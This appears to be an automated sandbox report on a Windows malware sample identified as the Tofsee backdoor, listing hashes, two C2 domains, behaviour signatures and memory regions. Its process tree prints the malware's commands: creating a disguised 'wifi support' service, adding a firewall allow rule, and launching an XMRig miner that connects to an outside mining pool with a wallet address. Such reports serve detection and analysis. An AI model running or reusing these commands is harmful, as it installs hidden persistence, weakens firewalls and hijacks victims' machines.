Analysis

  • max time kernel
    145s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    03-10-2023 07:50

General

  • Target

    file.exe

  • Size

    295KB

  • MD5

    6957a5f3d470c118331c9782ba0f7e25

  • SHA1

    b7bfb58c14356659b5921667855878cdce8f9704

  • SHA256

    6caf5622f61890f6a0e50dba5d080f23b76e80ecb0265884310fec0fb8f0e9f6

  • SHA512

    becae03c0b216b9ed117d395a3a7c3ad0a63598e435ce261ea0a8d1b8d61bbf15b3b63230431b69804d4124fc3144b89feecbe9b3660eb3622feb93e0c421f5a

  • SSDEEP

    3072:uFdUUuBC9ByFs7APAk39ttWZys1LuYtRHohiTy:8dUUoCXyFs7MwYstuMHG

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2220
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ctskqeqt\
      2⤵
        PID:2184
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\gwshcusa.exe" C:\Windows\SysWOW64\ctskqeqt\
        2⤵
          PID:840
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ctskqeqt binPath= "C:\Windows\SysWOW64\ctskqeqt\gwshcusa.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2728
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ctskqeqt "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2672
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ctskqeqt
          2⤵
          • Launches sc.exe
          PID:2804
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2808
      • C:\Windows\SysWOW64\ctskqeqt\gwshcusa.exe
        C:\Windows\SysWOW64\ctskqeqt\gwshcusa.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2940
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2656
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1376

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\gwshcusa.exe

        Filesize

        10.6MB

        MD5

        6a7bc0e8dd14f8c483e61f6234b47d9b

        SHA1

        c9013d66fa798fb4b50ee539d5979698be0c1b6a

        SHA256

        0bbf94c650e8d4afcbb6a668d4d13bb67c06cbf0c2a9ca892b223b75d1e7b380

        SHA512

        9c3f4351f5c0119d6ef1db639d042db53b35fd1a91daee3f7c7b25d7b2f8a6e9de93784202051b9f586f170fca5e6d4c57ff4394eced3ffce4cf1a5af24bf88c

      • C:\Windows\SysWOW64\ctskqeqt\gwshcusa.exe

        Filesize

        10.6MB

        MD5

        6a7bc0e8dd14f8c483e61f6234b47d9b

        SHA1

        c9013d66fa798fb4b50ee539d5979698be0c1b6a

        SHA256

        0bbf94c650e8d4afcbb6a668d4d13bb67c06cbf0c2a9ca892b223b75d1e7b380

        SHA512

        9c3f4351f5c0119d6ef1db639d042db53b35fd1a91daee3f7c7b25d7b2f8a6e9de93784202051b9f586f170fca5e6d4c57ff4394eced3ffce4cf1a5af24bf88c

      • memory/1376-76-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/1376-77-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/1376-75-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/1376-74-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/1376-73-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/1376-72-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/1376-71-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/1376-63-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/1376-62-0x0000000000250000-0x0000000000341000-memory.dmp

        Filesize

        964KB

      • memory/2220-4-0x0000000000400000-0x0000000002290000-memory.dmp

        Filesize

        30.6MB

      • memory/2220-2-0x00000000001B0000-0x00000000001C3000-memory.dmp

        Filesize

        76KB

      • memory/2220-1-0x00000000002F0000-0x00000000003F0000-memory.dmp

        Filesize

        1024KB

      • memory/2220-7-0x0000000000400000-0x0000000002290000-memory.dmp

        Filesize

        30.6MB

      • memory/2656-37-0x0000000000220000-0x0000000000230000-memory.dmp

        Filesize

        64KB

      • memory/2656-46-0x0000000000220000-0x0000000000230000-memory.dmp

        Filesize

        64KB

      • memory/2656-23-0x00000000019F0000-0x0000000001BFF000-memory.dmp

        Filesize

        2.1MB

      • memory/2656-26-0x00000000019F0000-0x0000000001BFF000-memory.dmp

        Filesize

        2.1MB

      • memory/2656-27-0x0000000000210000-0x0000000000216000-memory.dmp

        Filesize

        24KB

      • memory/2656-30-0x0000000000220000-0x0000000000230000-memory.dmp

        Filesize

        64KB

      • memory/2656-33-0x0000000000220000-0x0000000000230000-memory.dmp

        Filesize

        64KB

      • memory/2656-35-0x0000000000220000-0x0000000000230000-memory.dmp

        Filesize

        64KB

      • memory/2656-34-0x0000000000220000-0x0000000000230000-memory.dmp

        Filesize

        64KB

      • memory/2656-36-0x0000000000220000-0x0000000000230000-memory.dmp

        Filesize

        64KB

      • memory/2656-38-0x0000000000220000-0x0000000000230000-memory.dmp

        Filesize

        64KB

      • memory/2656-20-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2656-39-0x0000000000220000-0x0000000000230000-memory.dmp

        Filesize

        64KB

      • memory/2656-41-0x0000000000220000-0x0000000000230000-memory.dmp

        Filesize

        64KB

      • memory/2656-40-0x0000000000220000-0x0000000000230000-memory.dmp

        Filesize

        64KB

      • memory/2656-42-0x0000000000220000-0x0000000000230000-memory.dmp

        Filesize

        64KB

      • memory/2656-43-0x0000000000220000-0x0000000000230000-memory.dmp

        Filesize

        64KB

      • memory/2656-44-0x0000000000220000-0x0000000000230000-memory.dmp

        Filesize

        64KB

      • memory/2656-45-0x0000000000220000-0x0000000000230000-memory.dmp

        Filesize

        64KB

      • memory/2656-22-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2656-47-0x0000000000220000-0x0000000000230000-memory.dmp

        Filesize

        64KB

      • memory/2656-48-0x0000000000220000-0x0000000000230000-memory.dmp

        Filesize

        64KB

      • memory/2656-49-0x0000000000220000-0x0000000000230000-memory.dmp

        Filesize

        64KB

      • memory/2656-50-0x00000000002D0000-0x00000000002D5000-memory.dmp

        Filesize

        20KB

      • memory/2656-53-0x00000000002D0000-0x00000000002D5000-memory.dmp

        Filesize

        20KB

      • memory/2656-54-0x00000000059F0000-0x0000000005DFB000-memory.dmp

        Filesize

        4.0MB

      • memory/2656-57-0x00000000059F0000-0x0000000005DFB000-memory.dmp

        Filesize

        4.0MB

      • memory/2656-58-0x00000000002E0000-0x00000000002E7000-memory.dmp

        Filesize

        28KB

      • memory/2656-19-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2656-18-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2656-11-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2656-15-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2656-12-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2940-14-0x0000000000400000-0x0000000002290000-memory.dmp

        Filesize

        30.6MB

      • memory/2940-17-0x0000000000400000-0x0000000002290000-memory.dmp

        Filesize

        30.6MB

      • memory/2940-10-0x00000000001B0000-0x00000000001C3000-memory.dmp

        Filesize

        76KB

      • memory/2940-9-0x0000000000270000-0x0000000000370000-memory.dmp

        Filesize

        1024KB